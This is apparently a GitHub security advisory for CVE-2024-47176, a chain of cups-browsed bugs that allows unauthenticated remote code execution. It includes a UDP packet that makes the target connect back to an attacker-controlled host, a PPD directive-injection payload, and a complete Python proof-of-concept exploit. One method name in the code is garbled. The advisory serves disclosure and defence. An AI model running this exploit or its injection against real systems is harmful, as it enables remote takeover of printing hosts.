Skip to content

Multiple bugs leading to info leak and remote code execution

High
zdohnal published GHSA-rj88-6mr5-rcw8 Sep 26, 2024

Package

cups-browsed

Affected versions

2.0.1

Patched versions

None

Description

Update: The DoS via cups-browsed's legacy CUPS browsing got its own CVE now: CVE-2024-47850

This DoS via cups-browsed's legacy CUPS browsing gets fixed by the same methods as for this advisory (stop/disable cups-browsed, turn off or remove legacy CUPS support in cups-browsed).

Summary

Due to the service binding to *:631 ( INADDR_ANY ), multiple bugs in cups-browsed can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. Posing a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled.

Kernel version leak PoC by sending the UDP packet to a public facing IP address:

infoleak

Full remote code execution video against cups-browsed 2.0.1 on Ubuntu 24.04.1 LTS (I added a debug log of the PPD contents):

cups.mp4

Details

Bugs:

cups-browsed binds to INADDR_ANY:631 allowing anybody to send UDP datagrams to it. Moreover, the default configuration on most GNU/Linux distributions is extremely permissive and allows the specific UDP packet for this PoC. Specifically this has been tested against Ubuntu 24.04.1 LTS.

Step 1:

An attacker starts a malicious IPP server and then sends a first UDP packet to the target machine:

0 3 http://<ATACKER-IP>:<PORT>/printers/whatever

This will make the target machine connect back (and disclose the kernel and CUPS version in the User-Agent header) to an attacker controlled IPP server.

Step 2:

This causes the victim machine to connect to the attacker controlled IPP server and request its attributes. The server responds with a list of valid attributes additionally to a last attribute used for injection (similarly to other vulnerabilities):

# ... other valid attributes ...
(
    SectionEnum.printer,
    b'printer-privacy-policy-uri',
    TagEnum.uri
): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
    self.command.encode() +
    b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

This will:

  • Perform double quote+newline injection of custom PPD directives into the temporary PPD file. (bug: the strings from attributes should be escaped)
  • Bypass these checks. (bug: the space added before the colon is enough to bypass the strncmp based checks)

Resulting in the following PPD:

...
*cupsSNMPSupplies: False
*cupsLanguages: "en"
*cupsPrivacyURI: "https://www.google.com/"
*FoomaticRIPCommandLine: "echo 1 > /tmp/I_AM_VULNERABLE"
*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip"
*cupsSingleFile: True
*cupsFilter2: "application/vnd.cups-pdf application/pdf 0 -"
...

This PPD will cause the echo 1 > /tmp/I_AM_VULNERABLE command to be executed on the target machine when a print job is sent to fake printer. This happens because the foomatic-rip filter will interpolate and execute FoomaticRIPCommandLine from the PPD.

PoC

Uses the ippserver package, run as exploit.py ATTACKER_EXTERNAL_IP TARGET_IP, will create the /tmp/I_AM_VULNERABLE file on the target machine when a print job is started:

#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest


class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()

    def printer_list_attributes(self):
        attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'uri-security-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-name',
                TagEnum.name_without_language
            ): [b'Main Printer'],
            (
                SectionEnum.printer,
                b'printer-info',
                TagEnum.text_without_language
            ): [b'Main Printer Info'],
            (
                SectionEnum.printer,
                b'printer-make-and-model',
                TagEnum.text_without_language
            ): [b'HP 0.00'],
            (
                SectionEnum.printer,
                b'printer-state',
                TagEnum.enum
            ): [Enum(3).bytes()],  # XXX 3 is idle
            (
                SectionEnum.printer,
                b'printer-state-reasons',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'ipp-versions-supported',
                TagEnum.keyword
            ): [b'1.1'],
            (
                SectionEnum.printer,
                b'operations-supported',
                TagEnum.enum
            ): [
                Enum(x).bytes()
                for x in (
                    OperationEnum.print_job,  # (required by cups)
                    OperationEnum.validate_job,  # (required by cups)
                    OperationEnum.cancel_job,  # (required by cups)
                    OperationEnum.get_job_attributes,  # (required by cups)
                    OperationEnum.get_printer_attributes,
                )],
            (
                SectionEnum.printer,
                b'multiple-document-jobs-supported',
                TagEnum.boolean
            ): [Boolean(False).bytes()],
            (
                SectionEnum.printer,
                b'charset-configured',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'charset-supported',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'natural-language-configured',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'generated-natural-language-supported',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'document-format-default',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'document-format-supported',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'printer-is-accepting-jobs',
                TagEnum.boolean
            ): [Boolean(True).bytes()],
            (
                SectionEnum.printer,
                b'queued-job-count',
                TagEnum.integer
            ): [Integer(666).bytes()],
            (
                SectionEnum.printer,
                b'pdl-override-supported',
                TagEnum.keyword
            ): [b'not-attempted'],
            (
                SectionEnum.printer,
                b'printer-up-time',
                TagEnum.integer
            ): [Integer(self.printer_uptime()).bytes()],
            (
                SectionEnum.printer,
                b'compression-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-privacy-policy-uri',
                TagEnum.uri
            ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
                self.command.encode() +
                b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

        }
        attr.update(super().minimal_attributes())
        return attr

    def ](self, req, _psfile):
        print("target connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(
            self.version,
            StatusCodeEnum.ok,
            req.request_id,
            attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
    print("sending udp packet to %s:%d ..." % (ip, port))

    printer_type = 0x00
    printer_state = 0x03
    printer_uri = 'http://%s:%d/printers/NAME' % (
        ipp_server_host, ipp_server_port)
    printer_location = 'Office HQ'
    printer_info = 'Printer'

    message = bytes('%x %x %s "%s" "%s"' %
                    (printer_type,
                     printer_state,
                     printer_uri,
                     printer_location,
                     printer_info), 'UTF-8')

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(message, (ip, port))


def wait_until_ctrl_c():
    try:
        while True:
            time.sleep(300)
    except KeyboardInterrupt:
        return


def run_server(server):
    print('malicious ipp server listening on ', server.server_address)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    wait_until_ctrl_c()
    server.shutdown()


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
        quit()

    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345

    command = "echo 1 > /tmp/I_AM_VULNERABLE"

    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))

    threading.Thread(
        target=run_server,
        args=(server, )
    ).start()

    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

    print("wating ...")

    while True:
        time.sleep(1.0)

Then send a print job to the new printer in the target machine.

Impact

Remote code execution as cups (lp) user.

Severity

High

CVE ID

CVE-2024-47176

Credits